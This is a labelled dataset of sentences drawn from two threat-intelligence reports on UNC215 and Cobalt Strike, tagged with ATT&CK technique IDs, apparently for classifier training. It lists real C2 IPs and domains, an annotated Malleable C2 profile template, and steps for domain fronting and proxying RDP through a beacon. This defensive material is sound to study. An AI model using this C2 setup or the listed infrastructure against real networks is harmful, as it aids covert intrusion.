{"sentence": "The following indicators have been seen in use with the noted malware families, but not all have been confirmed to be used by UNC215. Type Value Description IP 85.204.74.143 HYPERBRO C2 IP 103.79.78.48 HYPERBRO C2 IP 89.35.178.105 HYPERBRO C2 IP 47.75.49.32 HYPERBRO C2 IP 139.59.81.253", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FOCUSFJORD C2 IP 34.65.151.250 FOCUSFJORD C2 IP 159.89.168.83 FOCUSFJORD C2 IP 103.59.144.183", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FOCUSFJORD C2 IP 141.164.52.232", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FOCUSFJORD C2 Detecting the Techniques FireEye detects this activity across our platforms.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Platform(s) Detection Name Network Security Email Security Detection On Demand Malware Analysis File Protect Backdoor.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Win32.HyperBro.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FEC3 FE_APT_Backdoor_Win32_HYPERBRO_1 FE_Downloader_Win32_FOCUSFJORD_2 FE_Trojan_Raw32_SILKWRAP_1 Trojan.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Win32.LuckyMouse.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FEC3 FE_Trojan_Raw32_SILKWRAP_1 33341691_APT.Downloader.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Win.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FOCUSFJORD Trojan.Win32.DllHijack.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "FEC3 FE_Trojan_Raw32_SILKWRAP_1 FE_Autopatt_Win_FOCUSFJORD Trojan.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Generic FE_Tool_Win_Generic_3 FE_Tool_Win32_Generic_3 FE_Trojan_Win_Generic_154 FE_Trojan_Win32_Generic_403 FE_Trojan_Win_Generic_155 FE_Trojan_Win64_Generic_54 FE_APT_Backdoor_Win32_HYPERBRO_2 FE_Trojan_Win32_Generic_404 FE_Trojan_Win32_Generic_406 Suspicious File Config Suspicious Regkey Added Suspicious Process Launch Activity Suspicious Codeinjection Activity Suspicious Process Delete Activity Suspicious Process Hijacking Activity Suspicious Process Self Deletion Activity Endpoint Security Generic.mg.a0b2193362152053 Generic.mg.26d079e3afb08af0 Generic.mg.28ce8dbdd2b7dfd1 Generic.mg.04c51909fc65304d Generic.mg.0e061265c0b59980 Generic.mg.09ffc31a432f646e Generic.mg.6ca8993b341bd90a Generic.mg.0ec4d0a477ba21bd Generic.mg.04dece2662f648f6 Trojan.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "GenericKD.43427954 Gen:Variant.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Ursu.933105 Trojan.GenericKD.32762213 Trojan.GenericKD.34854595 Gen:Variant.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Ursu.256631 Gen:Variant.Doina.16603 Gen:Variant.", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Doina.13437", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Helix 1.1.2927.fireeye_intel_hit_ip 1.1.2928.fireeye_intel_hit_ip 1.1.2929.fireeye_intel_hit_ip 1.1.2930.fireeye_intel_hit_ip 1.1.2947.fireeye_intel_hit_hash 1.1.2948.fireeye_intel_hit_hash 1.1.2949.fireeye_intel_hit_hash 1.1.2950.fireeye_intel_hit_hash 1.1.1404.windows_methodology_unusual_web_server_child_process 1.1.3506.windows_methodology_adfind 1.1.1650.windows_methodology_mimikatz_args 1.1.1651.antivirus_methodology_mimikatz 1.1.1652.windows_methodology_invokemimikatz_powershell_artifacts", "labels": [], "doc_title": "UNC215 Spotlight on a Chinese Espionage Campaign in Israel"}
{"sentence": "Our previous report on Cobalt Strike focused on the most frequently used capabilities that we had observed.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In this report, we will focus on the network traffic it produced, and provide some easy wins defenders can be on the look out for to detect beaconing activity.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "We cover topics such as domain fronting, SOCKS proxy, C2 traffic, Sigma rules, JARM, JA3/S, RITA & more.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "As with our previous article, we will highlight the common ways we see threat actors using Cobalt Strike.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Big shout-out to @Kostastsale for helping put this Part 2 together!", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Also thanks to @svch0st, @pigerlin, and @0xtornado for reviewing this report.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Even though network monitoring and detection capabilities do not come easy for many organizations, they can generally offer a high return on investment if implemented correctly.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Malware has to contact its C2 server if it is to receive further instructions.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This article will demonstrate how to detect this communication before threat actors accomplish their objectives.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "There are a couple of factors that we can utilize to fingerprint any suspicious traffic and subsequent infrastructure.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Before we get into that part, we should first discuss what makes Cobalt Strike so versatile.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Cobalt Strike’s versatility comes from the ability to change the indicators with each payload.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This is made possible thanks to Malleable C2 profiles.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Our other post touched on Malleable C2 profiles and how threat actors use them; however, that was just some of their many applications.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Below you can find information related to some of the most important fields that could throw off an analyst while investigating a Cobalt Strike network communication:", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The reference profile below is taken from Raphael Mudge’s GitHub repository.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "###Global Options### set sample_name \"whatever.profile\"; set sleeptime \"0\"; <================ # Decimal number to indicate the time the beacon will sleep for between communications in milliseconds set jitter \"25\"; <================ # A number that indicates the percentage of a random sleep time that beacon will introduce to its C2 comm set useragent \"<string>\"; <================ # Custom user agent of your choice set data_jitter \"35\"; <================ # Represents the value bytes variable that would instruct Cobalt Strike to send a random string on http-get/post to match the bytes value.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "set headers_remove \"<header to remove>\"; <================ # Specifying headers to be removed in a comma separated manner.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "####### Not much explanation is needed here, you can change the certificate information to your heart's content.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "####### https-certificate { set C \"US\"; set CN \"whatever.com\"; set L \"California\"; set O \"whatever LLC.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "\"; set OU \"local.org\"; set ST \"CA\"; set validity \"365\"; } ###HTTP-Config Block### http-config { set headers \"<headers to include>\"; <================ # Specifying the headers that you want to include. header \"<name of the header(s)>\"; <================ # Specifying the name of the header that will store the data that are transmitted to the C2 server set trust_x_forwarded_for \"<true OR false>\"; <================ # If the C2 server is behind a redirector, this option would allow to forward the traffic to the correct destination set block_useragents \"<user agents>\"; <================ # User agents that C2 server will block and show a 404 response set allow_useragents \"<user agents>\" <================ # Opposite of the above } ###HTTP-GET Block.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This function and all of its fields could also exist and be customized for the HTTP-POST Block (Server communication)### http-get { set uri \"/<URI string>\"; <================ # Specifying the URI to reference in bidirectional communication from client and server set verb \"POST\"; <================ # Setting the verb when requesting available tasks from the C2 server.", "labels": ["T1071.001"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "client { header \"Host\" \"whatever.com\"; <================ # Setting the header specific to client communication with the C2.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "header \"Connection\" \"close\"; ### Metadata corresponds to the information that the beacon is sending to the C2 server about itself.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The operators may choose to enable additional fields that will include data on the C2 communication.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "You can mix and match fields below: metadata { #base64; <================ # Base64 encoded string base64url; <================ # URL safe Base64 encoded string #mask; <================ # Encrypting and encoding the data with XOR mask and random key #netbios; <================ # Encoding data as netbios in lower case #netbiosu; <================ # Another variation of netbios encoding #prepend \"TEST123\"; <================ # Choosing a string to prepend to the transmitted data append \".php\"; <================ # Choosing a string to append ### Termination statements: This statement tells Beacon and its server wherein the transaction to store the transformed data.", "labels": ["T1573.001"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "You may choose one of these termination statement methods.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "parameter \"file\"; <================ # Adding a parameter to the URI.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "#header \"Cookie\"; <================ # Adding a specific string within a specific header.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "#uri-append; <================ # Adding a specific string in the URI.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "#print; } parameter \"test1\" \"t We added comments to the profile above to explain the numerous fields operators can change to customize the profile to their needs.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "All these different fields provide control and flexibility over the indicators of the C2 channel.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Many free, open-source randomizer scripts exist to create a unique profile such as Random C2 Profile Generator by @joevest, Malleable-C2-Randomizer by @bluscreenofjeff, and C2concealer by @FortyNorthSec.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Below are some of the Cobalt Strike C2 servers that we observed during intrusions.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "On the right column, we show the URLs that the Cobalt Strike payloads were configured to query.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "A trained eye could spot some of the Malleable profiles that exist on freely available resources such as Raphael Mudge’s list on his GitHub page.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Another example is the “jquery-3.3.1.min.js” which is associated with this malleable C2 profile as we observed in four intrusions.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "+----------------------+-----------------------+ | C2 Server | URI queried |", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "+----------------------+-----------------------+ | gawocag.com | /nd", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "| | 190.114.254.116 | /push | | 190.114.254.116 | /__utm.gif | | kaslose.com | /jquery-3.3.1.min.js | | yawero.com | /skin.js | | sazoya.com | /skin.js | | 192.198.86.130 | /skin.js | | 162.244.83.216 | /jquery-3.3.1.min.js | | sammitng.com | /jquery-3.3.1.min.js | | 23.19.227.147 | /styles.html", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "| | securityupdateav.com | /tab_shop_active.html", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "| | 108.62.118.247 | /as", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "| | windowsupdatesc.com | /as | | 212.114.52.180 | /copyright.css | | defenderupdateav.com | /default.css | | onlineworkercz[.]com | /kj | | checkauj.com | /jquery-3.3.1.min.js", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "| +----------------------+-----------------------+ A deep dive into all available fields can be found on this post from @ZephrFish.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "He also includes other fields related to post-exploitation beacon configuration along with network communication-related fields.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Another great resource is this article released by SpecterOps.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Domain Fronting Domain fronting is another method for concealing communication between the endpoint and the command and control servers.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The main purpose of domain fronting is to connect to a restricted host while pretending to communicate with an allowed host.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "It essentially masks your traffic to a certain website by masquerading it as a different domain.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This technique is possible thanks to Content Delivery Networks (CDNs).", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Domain fronting was mostly used by web services to bypass censorship in several countries that restricted traffic (e.g., China).", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In recent years, attackers have started using this technique to hide their malicious infrastructure behind legitimate domains.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Because domain fronting is a complicated topic to grasp, below we have included an image from the official Cobalt Strike page that discusses this technique.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Cobalt Strike made domain fronting possible by allowing the operators to configure related settings via the malleable C2 profiles.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The following prerequisites must be met in order for domain fronting to be possible: Own a domain.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "(e.g., infosecppl.store) Pick one of the many web services that provide CDN capabilities.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "(e.g., cloudfront.net).", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Setup the CDN service to create a new CDN endpoint and redirect traffic to your domain.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "(e.g., l33th4x0r.cloudfront.net).", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Setup a profile to facilitate domain fronting.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Identify a domain that uses the same CDN to ensure that the traffic will be forwarded to the correct resource.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Step five is where things get interesting.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Attackers can use legitimate domains that are registered under the same CDN provider.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "As demonstrated in the screenshot above, all they have to do is include their CDN endpoint domain (created in step three) in the host header of the request.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In that way, the legitimate website will forward the traffic through the CDN to the original destination according to the host header.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In the screenshots below, you can see how the malleable C2 profiles are configured to allow domain fronting using the Fastly and AzureEdge CDNs:", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This research paper released by academics from the University of California, Berkeley, is a great introduction to domain fronting.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This paper inspired many researchers to expand the possibilities of this unique way of hiding the final destination server on web traffic.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "One of those researchers is Vincent who wrote a great article on domain fronting.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "He explains in simple terms how it works.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "He also published a Python script to identify possible domains that can be leveraged for domain fronting.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Looking into our reporting, we don’t see many instances of domain fronting.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This is most likely due to the complex process of setting up the necessary infrastructure.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Although, based on the data we have collected regarding malicious infrastructure, domain fronting appears to be used by threat actors.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "According to our data from early 2021 up to now, Amazon Cloudfront takes the lead on preferable CDN used by threat actors, by a large margin.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The data above is available via our services.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Reverse Proxy using Cobalt Strike Beacon A technique that we come across often is a reverse proxy.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "We see instances where threat actors use their beacon sessions to establish RDP access through a reverse proxy.", "labels": ["T1021.001", "T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Cobalt Strike has the ability to run a SOCKS proxy server on the team server.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This enables the operators to setup a listening port and leverage it to relay traffic to and from the open beacon session.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The screenshot below demonstrates this implementation.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Image credit: cobaltstrike.com Some of the cases we have observed threat actors using reverse proxy are: Diavol Ransomware BazarLoader and the Conti Leaks Snatch Ransomware", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In most, of the above cases, the aim of the attackers was to establish a Remote Desktop session.", "labels": ["T1021.001"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "There are numerous advantages to establishing a RDP session, including the ability to navigate using a graphical environment and easily move laterally once the necessary access has been granted.", "labels": ["T1021.001"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Below, we demonstrate how attackers take advantage of this technique using proxychains from the attackers’ kali Linux host.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In the first image, the attackers open a socks listening port, in this case port 8888, on the Cobalt Strike team server.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Creating the listening port (TCP port 8888)", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In this second image, we employ proxychains from the attacker’s Kali Linux host to RDP into our target’s environment via the SOCKS server.", "labels": ["T1021.001", "T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "We essentially add the team server’s IP address into the proxychains configuration and connect with xfreerdp.", "labels": ["T1021.001", "T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "RDP into the target host using reverse proxy Looking into the generated artifacts, we can see that a 4624 type 3 event is created on the target host.", "labels": ["T1021.001", "T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "One interesting aspect that we have also mentioned in similar cases from our reporting is that the victim’s hostname is captured in this logon event as well as the source address being 127.0.0.1. Security Event ID 4624 Type 3 shows the attacker’s hostname Once again, the running Cobalt Strike beacon acts as the intermediary to facilitate the Remote Desktop session via reverse proxy.", "labels": ["T1021.001", "T1082", "T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Inside Cobalt Strike’s", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "C2 Traffic This section will attempt to illustrate how the different malleable C2 profiles can affect network communication.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In some of the examples below, we simulated the malicious C2 channel to show how different malleable profile configurations can change the observed traffic.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "After that, we’ll examine network data associated with lateral movement and the various methods employed by Cobalt Strike operators based on our observations.", "labels": ["T1071.001"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "HTTP/HTTPS C2 traffic", "labels": ["T1071.001"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "We will use a slightly modified version of the jquery profile to illustrate how the configuration defines the various fields that make up the C2 connection.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Our previous article presented this jquery profile as one of the most commonly used profiles by threat actors in the intrusions we reported.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "As shown above, malleable C2 profiles can generate unique network traffic based on the provided configuration.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "A portion of the malleable C2 profile configuration is shown at the bottom half of the screenshot.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "At the top half of the screenshot, we show the HTTP communication between the Beacon and the Cobalt Strike server.", "labels": ["T1071.001"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The malleable profile determines the content of all parameters used in GET and POST requests.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Because of how simple it is to change these parameters, creating network signatures for proactive defense can be difficult.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Defenders can create signatures for publicly available profiles (see Sigma section below) or profiles extracted and made available thru open-source reporting.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "One could search for traffic that matches known patterns (such as jquery or amazon) but the target IP/domain does not match the expected infrastructure.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "DNS C2 traffic Cobalt Strike is capable of using DNS as the C2 method.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Operators can choose to configure their server to respond to beacon requests in A, AAAA or TXT records.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This strategy is useful for more covert operations, as the destination host could be a benign DNS server.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Defenders will have to inspect the traffic data and look for suspicious DNS records.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The screenshot below is from the official Cobalt Strike documentation page and shows how DNS communication works between the compromised host and the C2 server.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In the below example, we emulated this technique and configured the Beacon to communicate over DNS and request new tasks using A records.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In the same way, we can configure the Beacon to use TXT or AAAA records for requesting tasks or sending information to the server.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "It is worth noting that the default method is the DNS TXT record data channel.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Below is the infrastructure that we used for demonstration purposes: Target Host: 192.168.88.179 Internal DNS server: 192.168.88.2 Cobalt Strike C2 domain: infosecppl.store We instructed the Beacon to execute the command systeminfo on the compromised host.", "labels": ["T1082"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "As you can see from the screenshot below, it took 148 packets containing DNS requests and responses to finish the task and send back the data to the Cobalt Strike Server.", "labels": ["T1041"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The activity took 5 seconds to complete.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "As with HTTP/HTTPS traffic, DNS traffic can be randomized using malleable C2 profiles.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Some of the options that are available to threat actors are as follows:", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The above table was taken from Cobalt Strike’s official documentation SMB Beacons Another option for threat actors is to employ SMB beacons, once they have gained access to the network.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "SMB beacons open a local port on the target host and listen for incoming communication from a parent beacon.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The communication between the two beacons is possible thanks to named pipes.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The operators can configure the pipename on the client; however, the default pipename starts with “msagent_#” for SMB beacons.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "For a list of default pipe names for other services including some custom profiles check out @svch0st’s post here.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "SMB beacons are mostly used to make network detection harder and to get access to isolated systems where communication to the internet is prohibited.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Additionally, due to SMB protocol being accessible in most internal networks, it makes for a reliable C2 method.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Operators can also chain beacons and move laterally inside the network.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "According to our records, SMB beacons are not frequently used.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "However, they’re still a powerful weapon in the hands of skilled operators.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "As we do not see SMB beacons used often in our intrusion cases, we took an example case from our lab to demonstrate the effectiveness of this method.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "We ran a PowerShell loader on the target host, which loaded a stageless SMB beacon in memory.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In our case, the SMB Beacon is communicating over the network with a parent Beacon using named pipes.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "For this example, we chose the named pipe “my_pipes”.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "As you can see from the screenshots below, windows event 4688 contains the execution of the PowerShell command.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "As explained in our previous Cobalt Strike article, Sysmon events 17 and 18 can log named pipes.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "However, Sysmon should be explicitly configured to log named pipes.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "A good public Sysmon config that includes named pipes and much more is Olaf‘s Sysmon Moduler.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Below, you can see the named pipe created that we specified on the Cobalt Strike interface when we created the SMB listener.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Furthermore, the SMB Beacon will communicate over port 445 to the main beacon as we described above, which will then send the results to the C2 server.", "labels": ["T1041"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This is known as chaining beacons.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The below screenshot illustrates the SMB communication between the beacon on the beachhead host and the chained beacon(s).", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Another way to describe the communication is a parent/child relationship.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The network traffic shows the target host communicating over SMB with the other compromised host running the parent HTTP Beacon.", "labels": ["T1071.001"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Named Pipes are used to facilitate the transition of data.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "192.168.38.102 = SMB Beacon 192.168.38.104 = HTTP Parent Beacon Detecting and Analyzing C2 Traffic Thanks to free, open-source tooling, investigating network traffic has become more accessible.", "labels": ["T1071.001"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "There are specific tools that we use to analyze suspicious network traffic in our intrusion cases.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
